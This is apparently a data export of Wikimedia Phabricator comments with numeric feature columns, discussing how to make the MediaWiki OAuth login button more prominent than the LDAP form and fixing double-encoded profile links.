951403,Make the phabricator OAuth login UI more prominent,So I finally got around to dealing with this (D831)... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.,,,1508534419,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,120,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,So I finally got around to dealing with this (D831)... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.
951402,Make the phabricator OAuth login UI more prominent,So I finally got around to dealing with this... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.,,,1508534350,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,120,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,15.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.8181818181818183,0.8787878787878788,So I finally got around to dealing with this... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.
549621,Make the phabricator OAuth login UI more prominent,"@Dreamyshade: Thank you a lot for your comment! It made me realize that our login page has regressed. :( 
I filed {T116142} about that.",,,1445418211,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.5806451612903225,0.9354838709677419,"SCREEN_NAME: Thank you a lot for your comment! It made me realize that our login page has regressed. :( 
I filed {T116142} about that."
549595,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part - and it doesn't have to be that wordy.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413430,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1.0,0.0,0.3333333333333333,1.0,1.6666666666666667,6.0,0.6666666666666666,0.0,0.0,2.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,3.6666666666666665,0.0,5.333333333333333,8.0,0.0,1.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.333333333333333,3.3333333333333335,1.6666666666666667,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,11.0,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,1.6666666666666667,8.0,3.6666666666666665,2.6666666666666665,5.333333333333333,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.0,0.0,0.0,8.666666666666666,8.0,4.0,0.0,2.6666666666666665,0.0,8.666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,3.9385106937923844,0.7350026082420449,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part - and it doesn't have to be that wordy.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big."
549593,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413215,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1.0,0.0,0.3333333333333333,1.0,1.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,2.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,3.6666666666666665,0.0,4.333333333333333,7.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.0,3.3333333333333335,1.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,11.333333333333334,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.3333333333333333,8.0,3.6666666666666665,2.0,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,8.333333333333334,7.666666666666667,4.0,0.0,2.6666666666666665,0.0,8.333333333333334,0.0,0.6666666666666666,2.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,3.98614663256607,0.741332764990054,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few more words to communicate that this widget means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big."
549592,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445413198,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1.0,0.0,0.3333333333333333,1.0,1.3333333333333333,5.333333333333333,0.3333333333333333,0.0,0.0,2.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,3.6666666666666665,0.0,4.333333333333333,7.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.0,3.3333333333333335,1.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,11.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.3333333333333333,8.0,3.6666666666666665,2.0,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,8.333333333333334,7.666666666666667,4.0,0.0,2.6666666666666665,0.0,8.333333333333334,0.0,0.6666666666666666,2.0,0.0,1.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,3.9746122329528824,0.7439274217149547,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big."
549584,Make the phabricator OAuth login UI more prominent,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest making it less terse, adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big.",,,1445412213,,PHID-USER-ao22hbgft6xkmald6n5o,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,15,True,1.0,0.0,0.3333333333333333,1.0,1.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,3.6666666666666665,0.0,4.666666666666667,7.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.0,3.3333333333333335,1.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,11.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.3333333333333333,8.333333333333334,4.0,2.0,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,8.666666666666666,7.666666666666667,4.0,0.0,2.6666666666666665,0.0,8.666666666666666,0.0,0.6666666666666666,2.0,0.0,1.6666666666666667,0.6666666666666666,0.0,1.3333333333333333,3.966666666666667,0.7402346445824707,"I personally found this login page confusing today - I totally typed my Wikipedia username & password into the LDAP fields and was confused about why it didn't work (wondering if I'd forgotten my password, or if the system was broken, or if my account got lost somehow, etc.) - so I'm happy to see some work on this getting discussed!

Right now this MediaWiki login widget is a bit ambiguous even if it's bigger. I'd suggest making it less terse, adding a few words to communicate that this means ""Login to the Phabricator account that is linked to your Wikipedia/MediaWiki/Wikimedia Commons/etc. unified login, or register a Phabricator account linked to your unified login. If you don't have a unified login, this will use your MediaWiki account login."" (I'm guessing on that last part.)

I imagine that many people think of their unified login as their ""Wikipedia account"", so they may not realize they should click an unfamiliar sunflower ""MediaWiki"" button even if it's nice and big."
527995,Make the phabricator OAuth login UI more prominent,Big button on top of LDAP form would be basically equivalent to closing this task as Resolved. No need to hide the form when the big sunflower button takes the primary spot so prominently.,,,1442353872,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,11.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.305555555555555,0.8333333333333334,Big button on top of LDAP form would be basically equivalent to closing this task as Resolved. No need to hide the form when the big sunflower button takes the primary spot so prominently.
527786,Make the phabricator OAuth login UI more prominent,">>! In T963#1642068, @mmodell wrote:
> Would it help if the login button was above the ldap form?

Yes, that would help too.",,,1442338762,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.9090909090909091,"QUOTE
QUOTE

Yes, that would help too."
527740,Make the phabricator OAuth login UI more prominent,Would it help if the login button was above the ldap form?,,,1442336893,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.6153846153846154,0.9230769230769231,Would it help if the login button was above the ldap form?
527410,Make the phabricator OAuth login UI more prominent,"This looks like a good improvement indeed: {F2547122} 

Sadly, I cannot help with the code review of that patch.",,,1442303225,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,"This looks like a good improvement indeed: {F2547122} 

Sadly, I cannot help with the code review of that patch."
521727,Make the phabricator OAuth login UI more prominent,"Change 236408 had a related patch set uploaded (by Nemo bis):
[POC] Make MediaWiki OAuth login button more functional by enlargening

[[https://gerrit.wikimedia.org/r/236408]]
",,,1441532721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,18.0,3.9393939393939394,0.8181818181818182,"Change 236408 had a related patch set uploaded (by Nemo bis):
[POC] Make MediaWiki OAuth login button more functional by enlargening

[[GERRIT_URL]]
"
391890,Make the phabricator OAuth login UI more prominent,"> Lowering priority. The reasoning is the same as in T545#824391.

Ok but I don't see what ""needs discussion"" here.",,,1419183789,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.9333333333333333,"QUOTE

Ok but I don't see what ""needs discussion"" here."
337381,Make the phabricator OAuth login UI more prominent,Lowering priority. The reasoning is the same as in T545#824391.,,,1418027982,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.5,0.9166666666666666,Lowering priority. The reasoning is the same as in T545#824391.
334391,Make the phabricator OAuth login UI more prominent,You may find https://secure.phabricator.com/book/phabcontrib/article/adding_new_css_and_js/ helpful (link courtesy of @Qgil from another task).,,,1417228482,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,You may find URL helpful (link courtesy ofSCREEN_NAME from another task).
334320,Make the phabricator OAuth login UI more prominent,Sounds good to me.,,,1417201767,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,3.0,1.0,Sounds good to me.
334311,Make the phabricator OAuth login UI more prominent,"(Obviously as a quick local hack, not for upstream.)",,,1417199974,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,"(Obviously as a quick local hack, not for upstream.)"
334310,Make the phabricator OAuth login UI more prominent,"What about adding some JS to hide it behind a 'I have a wikitech.wikimedia.org account, log in via LDAP' link?",,,1417199935,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cava27aj2n4a5vly6aui,task_subcomment,,True,c3,1,True,,,-31,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,21.0,8.0,4.0,8.0,0.0,8.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,3.7916666666666665,0.9166666666666666,"What about adding some JS to hide it behind a 'I have a wikitech.wikimedia.org account, log in via LDAP' link?"
547,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,">>! In T541#8313, @liangent wrote:
> Note that current links appear double percent-encoded so they're broken for user names containing non-""basic"" characters. See https://phabricator.wikimedia.org/p/Fan/ as an example.

The link displayed is https://www.mediawiki.org/w/index.php?title=User%3A%25E8%258C%2583 , which produces a [[ https://www.mediawiki.org/w/index.php?title=User%3A%25E8%258C%2583 | ""Bad title"" page in mediawiki.org ]]. 

The correct URL would be https://www.mediawiki.org/wiki/User:%E8%8C%83",Medium,50.0,1412585262,1412628733.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-5rgw2a63nlus3bny2xmf,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,26.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.2941176470588234,0.7352941176470589,"QUOTE
QUOTE

The link displayed is URL , which produces a [[ URL | ""Bad title"" page in mediawiki.org ]]. 

The correct URL would be URL"
